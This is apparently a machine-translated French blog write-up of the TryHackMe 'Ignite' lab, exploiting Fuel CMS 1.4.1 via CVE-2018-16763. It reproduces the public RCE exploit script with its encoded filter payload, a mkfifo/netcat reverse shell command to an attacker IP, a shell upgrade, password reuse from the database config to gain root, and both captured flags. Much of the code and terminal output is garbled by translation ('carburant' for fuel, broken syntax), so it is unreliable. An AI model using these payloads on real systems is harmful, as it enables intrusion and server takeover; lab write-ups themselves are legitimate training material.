[CVE-2018-16763] CMS CMS 1.4.1 - J'ai converti l'exécution du code distant (1) en Python 3 et je l'ai piraté! Tryhackme Ignite WRIPUP

[CVE-2018-16763] CMS CMS 1.4.1 - J'ai converti l'exécution du code distant (1) en Python 3 et je l'ai piraté! Tryhackme Ignite WRIPUP

Cette fois, nous essaierons de pirater le carburant CMS en utilisant la vulnérabilité dans CVE-2018-16763.
La machine cible utilise Ignite de TryhackMe.
"Tryhackme-ingnite: https://tryhackme.com/room/ignite "

Veuillez noter que l'explication est des spoilers.

Livres de référence recommandés
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: ipusiron
¥3,850 (À partir de 21:11 le 07/08/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: Justin Seitz, auteur: Tim Arnold, supervisé par: Mantani Nobutaka, Traduction: Arai Yu, Traduction: Kakara Hirosei, Traduction: Murakami Ryo
¥3,520 (À partir de 12:26 le 07/09/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
table des matières

Préparation

Tout d'abord, sélectionnez "Démarrer la machine" pour démarrer la machine cible.

Si l'adresse IP s'affiche, c'est bien.

Enracinez-le!

Voyons maintenant le drapeau.

User.txt

Tout d'abord, nous ferons du ballon de port avec NMAP.

┌fiques (HackLab㉿HackLab) - [~ / TryhackMe / Ignite] └sé. Non illustré: 999 PORTS TCP CLOST (Conn-refusés) Le service d'état du port version 80 / TCP Open Http Apache Httpd 2.4.18 ((Ubuntu)) | _http-Server-Header: Apache / 2.4.18 (Ubuntu) | http-robots.txt: 1 entrée refusée | _ / carburant / | _http-title: Bienvenue à la détection de service CMS Fuel effectuée. Veuillez signaler tout résultat incorrect sur https://nmap.org/submit/. NMAP fait: 1 adresse IP (1 hôte) scanné en 53,84 secondes

Voici un résumé des informations que vous pouvez lire.

  • 80: HTTP est ouvert.
  • http-robots.txt existe. (Il peut être possible de découvrir des informations utiles)
  • De "_http-title: bienvenue au carburant CMS", il est clair qu'il fonctionne sur le système de gestion du contenu du carburant.

HTTP est ouvert, alors vérifiez-le dans votre navigateur.
Vous pouvez voir que Fuel CMS version 1.4 est en cours d'exécution.

Juste pour être en sécurité, je vais également jeter un œil à Robots.txt.
Il semble que vous trouverez les points de terminaison pour la page de connexion ici.

J'ai trouvé la page de connexion.

Essayez de vous connecter en utilisant "admin / admin" comme exemple courant.

J'ai réussi à me connecter. Facile.

J'ai vu beaucoup mais il n'y a pas d'informations particulières.
J'ai confirmé que la version est à nouveau de 1,4.

Maintenant, recherchons sur SearchSploit.

┌fiques (HackLab㉿HackLab) - [~ / Tryhackme / Ignite] └fique ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Exécution (3) | PHP / webapps / 50477.py carburant CMS 1.4.13 - "Col 'Blind SQL Injection (authentifiée) | PHP / WebApps / 50523.Txt Fuel CMS 1.4.7 - "Col 'SQL Injection (Authenticated) | PHP / webapps / 48741.txt carburant CMS 1.4.8 - 'injection de SQL de Fuel_replace_id (authentifiée) | php / webapps / 48778.txt ----- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Fuel CMS semble avoir une vulnérabilité qui permet l'exécution du code distant en raison de la vérification inappropriée des entrées.
Ici, nous serons le code d'exploit écrit en Python.

Maintenant, utilisons ceci pour infiltrer le serveur.
Copiez d'abord le code.

┌fique /home/hacklab/.cache/mozilla/firefox/yr8wkpln.default-esr/cache2/entries/8f026053f24713884208f4944898b7a4e7f607eeb /usr/47138. ┌fique (HackLab㉿HackLab) - [~ / Tryhackme / Ignite] └sé Hacklab 1004 août 7 23:30 47138.py

Je veux l'exécuter dans Python 3, donc j'utiliserai 2to3 pour convertir le code.
Si vous ne l'avez pas téléchargé, je pense que c'est une bonne idée de le télécharger. (Vous pouvez le convertir vous-même.)

┌fique

Une fois que vous l'avez téléchargé, essayez de le convertir.

┌til (HackLab㉿hackLab) - [~ / Tryhackme / Ignite] └sé Sauter un fixateur en option: idioms RefactoringTool: sauter un fixateur en option: set_literal refactoringTool: sauter un fixateur en option: ws_comma refactoringTool: refactored 47138.py --- 47138.py (original) +++ 47138.py (Refactore Urllib.Request, Urllib.Parse, UrLlib.Error Url = "http://127.0.0.1:881" Def find_nth_overlapping (Retour Start While pendant 1: - xxxx = raw_input ('CMD:') - burp0_url = xxxx = raw_input ('cmd:') - burp0_url = URL + "/ carburant / pages / select /? Filter =% 27% 2B% 70% 69% 28% 70% 72% 69% 6e% 74% 28% 24% 61% 3D% 27% 73% 79% 73% 74% 65% 6D% 27% 29% 2B% 24% 61% 28% 27" + Urllib.quote (xxxx) + " xxxx = input ('cmd:') + burp0_url = URL + "/ carburant / pages / select /? Filter =% 27% 2B% 70% 69% 28% 70% 72% 69% 6e% 74% 28% 24% 61% 3D% 27% 73% 79% 73% 74% 65% 6D% 27% 29% 2B% 24% 61% 28% 27 "+ Urllib.Parse.quote (xxxx) +"% 27% 29% 2B% 27 " proxy = {"http": "http://127.0.0.1:8080"} r = requêtes print (R.Text [0: dup]) RefactoringTool: Fichiers qui ont été modifiés: RefactoringTool: 47138.py

J'ai réussi à le convertir, je pense que c'est plus efficace que de le réécrire à chaque fois. Le fichier d'origine est .bak.

┌fique (HackLab㉿HackLab) - [~ / Tryhackme / Ignite] └sé

Modifiez l'URL et les paramètres de proxy. (Les modifications incluent "# changement")

┌fique (HackLab㉿HackLab) - [~ / TryhackMe / Ignite] └fique https://github.com/daylightstudio/fuel-cms/releases/tag/1.4.1 # Version: <= 1.4.1 # testé sur: Ubuntu - Apache2 - php5 # cve: cve-2018-16763 Import demandes d'importation urllib.request, urllib.parse, urllib.errror url = "http://10.10.251.170" # modifier def find_nth_overlapping (Haystack, aigule, n): start = haystack.find (aiguille) pendant que start> = 0 et n> 1: start = haystack URL + "/ carburant / pages / select /? Filter =% 27% 2B% 70% 69% 28% 70% 72% 69% 6e% 74% 28% 24% 61% 3D% 27% 73% 79% 73% 74% 65% 6D% 27% 29% 2B% 24% 61% 28% 27 "+ Urllib.Parse.quote (xxxx) +"% 27% 29% 2B% 27 " # proxy = {"http": "http://127.0.0.1:8080"} # change r = requêtes.get (burp0_url) # change html = "<!DOCTYPE html> "HtmlCharset = R.Text.find (html) begin = R.Text [0:20] dup = find_nth_overlapping (R.Text, begin, 2) imprimer (R.Text [0: dup])

Quand j'exécute Python, je reçois "CMD:" donc je vérifie whoami.

┌fiques (HackLab㉿hackLab) - [~ / Tryhackme / Ignite] └fique<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;"><h4> Une erreur PHP a été rencontrée</h4><p> Gravité: avertissement</p><p> Message: preg_match (): le délimiteur ne doit pas être alphanumérique ou arrière</p><p> Nom de fichier: contrôleurs / pages.php (924): fonction créée par l'exécution</p><p> Numéro de ligne: 1</p><p> Backtrace:</p><p style="margin-left:10px"> Fichier: /var/www/html/fuel/modules/fuel/controllers/pages.php(924): fonction Runtime-Created<br /> Ligne: 1<br /> Fonction: preg_match</p><p style="margin-left:10px"> Fichier: /var/www/html/fuel/modules/fuel/controllers/pages.php<br /> Ligne: 932<br /> Fonction: array_filter</p><p style="margin-left:10px"> Fichier: /var/www/html/index.php<br /> Ligne: 364<br /> Fonction: require_once</p></div>

Il y a "Systemwww-data", vous pouvez donc voir que "www-data" est l'utilisateur.

Regardons le répertoire actuel en PWD.

CMD: Système PWD / VAR / WWW / HTML<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;"><h4> Une erreur PHP a été rencontrée</h4><p> Gravité: avertissement</p><p> Message: preg_match (): le délimiteur ne doit pas être alphanumérique ou arrière</p><p> Nom de fichier: contrôleurs / pages.php (924): fonction créée par l'exécution</p><p> Numéro de ligne: 1</p><p> Backtrace:</p><p style="margin-left:10px"> Fichier: /var/www/html/fuel/modules/fuel/controllers/pages.php(924): fonction Runtime-Created<br /> Ligne: 1<br /> Fonction: preg_match</p><p style="margin-left:10px"> Fichier: /var/www/html/fuel/modules/fuel/controllers/pages.php<br /> Ligne: 932<br /> Fonction: array_filter</p><p style="margin-left:10px"> Fichier: /var/www/html/index.php<br /> Ligne: 364<br /> Fonction: require_once</p></div>

Comme c'est "System / var / www / html", vous pouvez voir que vous êtes dans "/ var / www / html".

Maintenant, je veux faire une coquille inversée, donc je vais écouter le 4444 avec Kali.

┌fiques (HackLab㉿hackLab) - [~] └─ $ NC -NLVP 4444 Écoute sur [any] 4444 ...

Essayez d'exécuter la commande Shell inverse.

cmd: rm -f / tmp / f; mkfifo / tmp / f; cat / tmp / f | / bin / sh -i 2> & 1 | nc 10.18.110.90 4444> / tmp / f

J'ai réussi à obtenir le shell. L'utilisateur est www-data.

┌fique (HackLab㉿hackLab) - [~] └─ $ NC -NLVP 4444 Écoute sur [any] 4444 ... Connectez-vous à [10.18.110.90] de (inconnu) [10.10.251.170] 34426 / bin / sh: 0: Impossible d'accès à Tty; Le contrôle de l'emploi a désactivé $ whoami www-data $ ls readme.md actifs composer.json contributing.md carburant index.php robots.txt

Étant donné que NC est un Damshell, nous obtiendrons une coquille interactive.
(Il y a des choses gênantes, comme le fait de ne pas pouvoir utiliser l'auto-gamme avec des tâches.)

$ python -c 'import pty; pty.spawn ("/ bin / bash")' www-data @ ubuntu: / var / www / html $ 

Ça a l'air un peu mieux.

Utilisez le contrôle + Z pour passer à l'arrière-plan.

www-data @ ubuntu: / var / www / html $ ^ z zsh: suspendu nc -nlvp 4444

Vérifiez les informations actuelles du terminal.

┌fique

Utilisez la commande STTY pour envoyer directement l'entrée et la sortie, définissez-la pour désactiver l'écho brut et redémarrer NetCat au premier plan.
Définissez les informations sur l'environnement que vous venez d'obtenir avec "Export Term = xterm-256Color".

┌fiques (Hacklab㉿hackLab) - [~] └fique STTY RAW -ECHO; FG [1] + Suite NC -NLVP 4444 Terme d'exportation = xterm-256color

Ensuite, configurez la coquille.

www-data @ ubuntu: / var / www / html $ export shell = bash

Vous pouvez désormais utiliser les clés de la saisie semi-automatique et des flèches.
Ces techniques sont décrites dans Mitre Att & CK, il pourrait donc être une bonne idée de les lire.

Une fois que vous avez fait cela, recherchez le drapeau.

www-data @ ubuntu: / $ cd / home / www-data / www-data @ ubuntu: / home / www-data $ ls flag.txt

Il y avait un drapeau!

www-data @ ubuntu: / home / www-data $ cat flag.txt 6470e394cbf6dab6a91682cc8585059b

Répondre

Root.txt

Ensuite, essayez d'escalader les privilèges pour rooter.

J'ai beaucoup cherché mais je ne pouvais pas le trouver.
Il y avait une description qui pourrait être un fichier avec des informations de base de données qui y sont écrites.

Tout d'abord, créez une base de données dans MySQL, importez le fichier Fuel / Installer / Fuel_schema.sql pour installer la base de données CMS Fuel. Après avoir créé la base de données, modifiez les paramètres de la base de données dans Fuel / Application / Config / Database.php pour correspondre au nom d'hôte (par exemple, localhost), nom d'utilisateur, mot de passe et base de données avec la nouvelle base de données que vous avez créée.

Je vais le vérifier au cas où.

www-data @ ubuntu: / home / www-data $ cat /var/www/html/fuel/application/config/datse.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); /* | ------------------------------------------------------------------- | DATABASE CONNECTIVITY SETTINGS | ------------------------------------------------------------------- | This file will contain the settings needed to access your database. | | For complete instructions please consult the 'Database Connection' | page of the User Guide. | | ------------------------------------------------------------------- | EXPLANATION OF VARIABLES | ------------------------------------------------------------------- | | ['dsn'] The full DSN string describe a connection to the database. | ['hostname'] The hostname of your database server. | ['username'] The username used to connect to the database | ['password'] The password used to connect to the database | ['database'] The name of the database you want to connect to | ['dbdriver'] The database driver. e.g.: mysqli. | Currently supported: | cubrid, ibase, mssql, mysql, mysqli, oci8, | odbc, pdo, postgre, sqlite, sqlite3, sqlsrv | ['dbprefix'] You can add an optional prefix, which will be added | to the table name when using the Query Builder class | ['pconnect'] TRUE/FALSE - Whether to use a persistent connection | ['db_debug'] TRUE/FALSE - Whether database errors should be displayed. | ['cache_on'] TRUE/FALSE - Enables/disables query caching | ['cachedir'] The path to the folder where cache files should be stored | ['char_set'] The character set used in communicating with the database | ['dbcollat'] The character collation used in communicating with the database | NOTE: For MySQL and MySQLi databases, this setting is only used | as a backup if your server is running PHP < 5.2.3 or MySQL < 5.0.7 | (and in table creation queries made with DB Forge). | There is an incompatibility in PHP with mysql_real_escape_string() which | can make your site vulnerable to SQL injection if you are using a | multi-byte character set and are running versions lower than these. | Sites using Latin-1 or UTF-8 database character set and collation are unaffected. | ['swap_pre'] A default table prefix that should be swapped with the dbprefix | ['encrypt'] Whether or not to use an encrypted connection. | | 'mysql' (deprecated), 'sqlsrv' and 'pdo/sqlsrv' drivers accept TRUE/FALSE | 'mysqli' and 'pdo/mysql' drivers accept an array with the following options: | | 'ssl_key' - Path to the private key file | 'ssl_cert' - Path to the public key certificate file | 'ssl_ca' - Path to the certificate authority file | 'ssl_capath' - Path to a directory containing trusted CA certificats in PEM format | 'ssl_cipher' - List of *allowed* ciphers to be used for the encryption, separated by colons (':') | 'ssl_verify' - TRUE/FALSE; Whether verify the server certificate or not ('mysqli' only) | | ['compress'] Whether or not to use client compression (MySQL only) | ['stricton'] TRUE/FALSE - forces 'Strict Mode' connections | - good for ensuring strict SQL while developing | ['ssl_options'] Used to set various SSL options that can be used when making SSL connections. | ['failover'] array - A array with 0 or more data for connections if the main should fail. | ['save_queries'] TRUE/FALSE - Whether to "save" all executed queries. | NOTE: Disabling this will also effectively disable both | $this-> db-> last_query () et profilage des requêtes DB. | Lorsque vous exécutez une requête, ce paramètre définit sur true (par défaut), | Codeigniter stockera l'instruction SQL à des fins de débogage. | Cependant, cela peut entraîner une utilisation élevée de la mémoire, surtout si vous exécutez | Beaucoup de requêtes SQL ... Désactivez ceci pour éviter ce problème. | | La variable $ active_group vous permet de choisir le groupe de connexion à | rendre actif. Par défaut, il n'y a qu'un seul groupe (les variables 'par défaut' | | Les variables $ query_builder vous permettent de déterminer s'il faut charger ou non | la classe de création de requête. * / $ Active_group = 'default'; $ query_builder = true; $ db ['default'] = array ('dsn' => '', 'hostname' => 'localhost', ',' => '', 'hostname' => ' 'mememe', 'database' => 'fuel_schema', 'dbdriver' => 'mysqli', 'dbprefix' => '' ',' Pconnect '=> false,' db_debug '=> (environnement! ==' 'Production'), 'cache_on' => false, 'cachedir' => '', ',' car 'dbcollat' => 'utf8_general_ci', 'swap_pre' => '', 'Encrypt' => false, 'compress' => false, 'stricton' => false, 'backlover' => array (), 'Save_queries' => true); @include (tester_path.'config / tester_database'.ext);
  • Racine: mememe

Il est possible que le mot de passe est le même, donc je vais le vérifier.

www-data @ ubuntu: / home / www-data $ su root mot de passe: root @ ubuntu: / home / www-data # #

C'était la même chose. Il semble que vous puissiez obtenir un drapeau.

root @ ubuntu: / home / www-data # cd / root root @ ubuntu: ~ # ll total 32 drwx ------ 4 root root 4096 26 juil 2019 ./ drwxr-xr-x 24 racine root 4096 26 juil 2019 ../ -rw ----------- 1 racine racine 357 26 juillet 2019. .Bashrc drwx -------- 2 racine racine 4096 26 février 2019 .Cache / drwxr-xr-x 2 racine racine 46 juil 26 juil 2019 .nano / -rw-r - r - 1 racine racine 148 août 17 2015 .profile -rw-r- r - 1 racine root 34 juillet 2019 root.txt.

J'ai trouvé le drapeau!

root @ ubuntu: ~ # Cat root.txt b9bbcb33e11b80be759c4e844862482d 

Répondre

résumé

Cette fois, nous avons essayé de pirater le CMS de carburant en utilisant la vulnérabilité dans CVE-2018-16763.
Le contenu était tout basique, donc je pense que c'était assez facile.

Références et sites

-

Partagez si vous le souhaitez!

Qui a écrit cet article

Ceci est un blog que j'ai commencé à étudier la sécurité de l'information. En tant que nouvel employé, je serais heureux si vous pouviez regarder avec un cœur large.
Il y a aussi Teech Lab, qui est l'occasion d'étudier le plaisir en programmation, donc si vous êtes intéressé par le développement de logiciels, assurez-vous de jeter un œil!

table des matières